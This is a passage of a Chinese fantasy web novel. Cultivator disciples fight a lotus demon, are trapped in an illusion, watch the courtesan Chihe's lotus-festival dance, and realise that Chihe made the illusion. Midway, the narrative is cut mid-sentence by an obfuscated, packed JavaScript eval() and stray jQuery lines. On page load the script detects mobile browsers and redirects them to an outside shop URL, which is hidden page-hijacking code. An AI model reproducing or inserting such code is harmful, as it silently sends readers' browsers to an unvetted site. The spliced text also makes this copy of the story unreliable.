江辞玉循声看去便看到身着浅青色纱裙的少女,纱裙腰部很透,白皙细腻的腰肢隐约可见,也更加魅人诱惑,引人无限遐想。
少女长相温婉,气质宜人,袖摆上的银丝莲花随着手的挥动而舞动。
云景出声打破沉寂,“青怜!”
青怜向后倾倒在巨大的莲花中,视线直勾勾地望着站在乌惊栖后面的江辞玉问道:“所以,你的答案是什么?”
四人显然没有想到她会问这个问题,神色都错愕一瞬,青怜丝毫没有跟除辞玉以外的人交流的想法。
江辞玉面色警惕,她很难对一个已知是敌对阵营的人放下戒心,即使她心中依然对她怀着莫名的亲近和信赖。
善解人意的莲花妖笑笑,没有过多纠缠。
“如果,你们是在更成长一些过来,或许真的会成功,但很可惜,现在的你们……”她似笑非笑看了眼站在最前面警惕的乌惊栖,“除了他,你们这里没有一个可以抗事的。”
话音刚落,一朵莲花便凭空而来替青怜挡住了狠厉的剑气。
长空剑再一次挥向前,剑气从一道分裂成数道,云景紧随其后,与他身高相当的大刀重重劈向青怜。
青怜眉间的笑意收敛起来,手一挥,一把素扇出现在手中。
素扇扇面上绣着浅粉色的莲花,其周边绿荷半卷半舒。
随着扇子挥动,一道道剑气被一一挡了下来,浓烟遮住几人视线,大刀落地发出巨响。
浓烟散去,青怜转了个圈优雅落地,手中团扇半遮面。
辞玉和苏允视线相撞,二人轻点头,随后持剑佯攻,天骄握紧长剑,斜立于身前,大刀插入地面,云景单膝跪在面,用手背擦去嘴角的血痕。
青怜垂着眼,轻声叹息。
“何苦呢?我无意与你们作对。”
“你是邪修。”
乌惊栖笃定道。
青怜举起团扇,向后轻跃。
两剑相击,发出清脆的嗡鸣声。桃红色长裙的少女和白衣少年相视一眼,随后立即各自向后跃去。
长空剑剑气劈向青怜落下的地方,莲花妖面色更加严肃,虽然及时退后了,但依然被刮出了一道不浅的血痕。
青怜低头看着自己被刮破的纱裙,浅青色的纱裙被血液染红,向来平静的面上也露出了异样。
她秀眉轻蹙,声音不自觉的提高。
“这场游戏,我现在玩腻了!”
乌惊栖持剑以惊人的速度一跃上前,剑尖直指莲花妖。
青怜面上依然悠哉悠哉,不急不慢地向后退了一步。
“如果,不是在遥景苑,我确实打不过你们。”她面上笑容敛起,语气也不自觉的放轻,似乎是怕惊扰了谁,“但很可惜,你们是在我的地盘。”
江辞玉耳尖轻动,眸色顿时瞪大。
“快点捂住鼻子!”
尖锐刺耳的机械声穿入耳中,乌惊栖在她喊前便已经捂好口鼻了。他果然最讨厌这些爱放药的家伙。
几人捂住口鼻站成一个圈,视线四处看着。
“什么时候发现的?”青怜歪着头,很是困惑。
江辞玉手指向不远处墙壁上刻着的红梅。
青怜愣了一下,随后轻笑。
“按理来说,臆想无色无味,你这是怎么发现的?”
江辞玉不动声色地将心中升起的恶念压了下去,机械的声音因为没有声调,在这严肃的气氛下竟显得有几分好笑。
“你跟她很像……真的很像,从看到你的第一眼开始,我就觉得你跟她很像,如果她不是身在这种场景,一定也可以活得逍遥自在。”
乌惊栖道:“她就是她,如果从一开始你的接触是因为觉得我师妹和池荷很像,那你刚刚向师妹索取回答时,你又在想什么?”
青怜低笑出声,“我,已经知道那个回答了。”
她说完便低着头消失在原地。
其实,墙壁上的梅花只是障眼法,这座巨大的销金窟从白天开始便一直燃着臆香,她只是一个弱小可怜的莲花妖,烛烬怎么可能会放心让她一个妖来阻止这些正道子弟。
乌惊栖看着周围不耐烦地“啧”了一声,很明显,他们还是吸入了臆香。
而现在,他们便是在幻境中了。
“你……你们是谁?”女生声音有些尖,听着有些刺耳。
云景被这声吓了个激灵,转头便看到一个带着面纱只露出一双眼还有些眼熟的女子。
苏允赶在云景开口前道:“我们是误入这里面的,现在是什么时候了?”
他这话问的极好,既可以确定幻境时间,又可以不引起怀疑。
女子许是信了这个说法,虽还是有些犹疑,但依然答道:“芙蕖会已经开始了,你们现在出去便可以看到莲花盛会了!”
“今年莲花开得很繁盛吗?”乌惊栖想起红娘之前提过一嘴,便这样问道。
女子眼一亮,满眼欢喜和自豪,“我们遥景苑的莲花在六月下旬向来开得极好,而今日更甚!”
“说来也是巧,金日便是池荷姐姐的生辰,红妈妈一向偏爱池荷姑娘,所以便打算把今年的芙蕖会同时办成她的生辰会。”女子说这话时眼中满是艳羡,还有一丝嫉妒。
乌惊栖和江辞玉相视一眼,对于现在的时间已经有了些许想法。
女子也察觉到自己的失态,连忙转移话题,也忘记了辞玉几人身上的疑点。
“我带你们去芙蕖会上吧,现在过去正好可以赶上池荷姑娘的舞,”
女子说完便转身带路,也不管后面几人跟上没有。
苏允第一个憋不住话,确认女子走远后便开口道:“这是发生什么了,我们不是跟青怜在遥景苑吗?”
乌惊栖脸色黑沉,云景便解释道:“臆香可以将其他人拉入幻境,中臆香程度严重的话,外人很难接触幻境的缔造者,程度不严重的话是可以将其唤醒的,而唤醒是离开幻境的唯一方式。”
“现在我们可能是进入了青怜的幻境,我早该想到的,这两人都是依赖臆香的,就是不知道程度了。”乌惊栖边向前走,边补充道。
江辞玉垂着头,想起自己之前看到的画面。
按乌惊栖的说法,她是接触不到烛烬和李姌的,所以,烛烬的依赖程度很深。
她是靠李牧才从幻境中清醒的,而现在……
视线看向四周,依旧金碧辉煌,华贵的装饰下透着暧昧迤逦。
几人跟着乌惊栖走出房,这才看到芙蕖会的全貌。
莲花满池,纤细的花枝随风摇曳,柔嫩的浅粉花瓣坠落在清澈的水面上,激起圈圈涟漪。
莲池正中央,一艘小却奢华的木船燃着华灯,在月下熠熠生辉。
船上坐着的青衣姑娘纤纤素手拨弄琵琶,乐音动听,景美人更美。
云景嘴半张开,过了好一会才道:“是……是池荷。”
江辞玉也抬眼看去,望向这个一直活在他人口中的女子。
由于距离很远,夜很黑,虽燃了灯,女子的眉眼却依然并不清晰,但依然可以察觉,她定是个美人。
众人沉醉于琴声中,一块块木板被放入池中,融于莲花中不见踪影。几个穿着青夹藕粉的少女站在池的后方,栏杆早已被拆除,就为了这一刻。
琵琶声越来越激烈,直到声音突然听下。
众人抬头看去——琵琶弦断了。
江辞玉几人挤到了人群前方,乌惊栖一直小心翼翼地护着辞玉,怕她被挤到。
池荷站起身,手中的琵琶被砸入池中,激起的水花溅湿她的裙摆,留下一片深色。
她半抬手,乐音响起,后面的少女们依依跳到木板上,身子半蹲着,手撑着木板。
池荷轻笑,笑声如叩玉环佩。
她旋身下腰,指尖轻触船前莲花,其余少女也随其舞动。
池荷裙裾散开时如水中莲花,惊艳动人。腰肢软若春水,折腰时弧度优美轻盈;扬袖时,广袖如云漫卷,遮住半荷池影。
青衣女子眉眼温柔,与这满池莲花融成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943339|214003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一副惊艳雅致的水墨丹青。
最后一个收势,她静立船上,其余少女所站立的木板也紧着木船,她们保持着一个姿势。一道掌声突兀响起,随之更多掌声响起,满堂喝彩。
池荷浅笑,荷尖水珠滚落,惊醒沉醉于舞蹈的莲花妖。
江辞玉几人也看完了这一场最盛艳的芙蕖会,苏允砸吧下嘴。
“这舞是真美啊,怪不得人家是花魁。”
云景声音含着惋惜,“可惜后面不会再有这么盛大优美的舞了,这肯定是花费许久练的吧,光是跳入木板就很难了。”
“还要莲花开得可以遮住木板,不然木板会破坏整体美感,但要再像今天这样的盛开程度怕是很难再有了。”
机械声突兀响起,江辞玉察觉众人视线,眨眨眼勾唇浅笑。
这舞竟让她的心魔被暂时压住,听着众人的讨论,她一时也忍不住参与进去,所幸乐声很大,除非离得近,不然真听不清她那机械声。
但她其实有一句没说,就算是莲花妖,也不能过多控制花开,她诞生于花,而不是花诞生于她。
这满池莲花,是那莲花妖送给池荷的诞辰礼。
舞毕,人未散,而是分坐在一起赏华灯花景,喝着美酒,美人作伴。
云景比较了解遥景苑的构造,便带着几人去找池荷,他们可以被人看到,便说明青怜中臆香程度不深。
云景带着几人到了一个房前,他先屈指敲了几下。
门被打开一条缝,少女的声音也传了过来。
“进。”
几人面面相觑,随后云景打头阵开门进去。
池荷面上还保持着温婉的笑容,看到云景时人还愣了下,随后才道:“古云,你怎么变这么大了?”
云景挠挠头,面上羞赧。
几人这也更加肯定,青怜中臆香的程度并不深。
云景轻咳几声,忽视苏允和江辞玉的视线道:“生辰快乐,池荷姐姐。”
池荷婉声道谢,“真是的,还特意回来给我过生辰。”
她这才看向一旁的几人问:“这是你在宗门的朋友?”
云景点点头回答:“是的是的,我师兄乌惊栖你见过的。”他随后又向池荷介绍了江辞玉和苏允。
“江师姐,江辞玉,因为一场意外失语了。”
“苏允,苏师弟,跟师兄一样的剑修。”
池荷一一打过招呼,在辞玉身上停留了好一会,随后才移开视线道:“既然你们来了,我也做主来好好招待你们。”
“你们先去宴上等我,我要去见个朋友,她不方便见人。”
云景眼珠子一转,扯住池荷的衣袖撒娇道:“池荷姐姐,我想要重新介绍一下自己嘛,我真名叫云景,可是你们这些知道我的还叫我古云……”
池荷一时失笑,轻轻在他额头轻弹一下。
“幼稚,你们跟我一起去见见她吧,她今日过敏皮肤起了红点,你们修士或许有办法可以解决这事。”
云景故作严肃道:“放心交给我,我一定完成任务!”
几人被他这幽默样子逗笑,气氛中透着久违的轻松愉快。
四人在池荷的带领下去到一个房间前,她回头叮嘱几人道:“等我叫你们进去你们再进去,她脾气不大好,当她人还是很好的,是我最好的朋友之一。”
几人点点头,一起保持安静,看着单薄的身影进入房间。
云景靠近自家师兄,低声道:“师兄,现在怎么办,我们依然没有找到莲花妖的身影。”
江辞玉思绪还停留在青衣女子意味深长的眼神中,突然,灵光一闪,她眸子猛地瞪大。
不!这个幻境的缔造者并不是青怜!
按照原先烛烬的幻境,这件事应该是二人的共同回忆,一定有其参与的痕迹,可是从开始到现在,青怜的影子从来没有出现过……
所以,从头到尾,这个幻境的缔造者是——池荷。
房间里面突然响起重物落地的声音,和女子的尖叫声。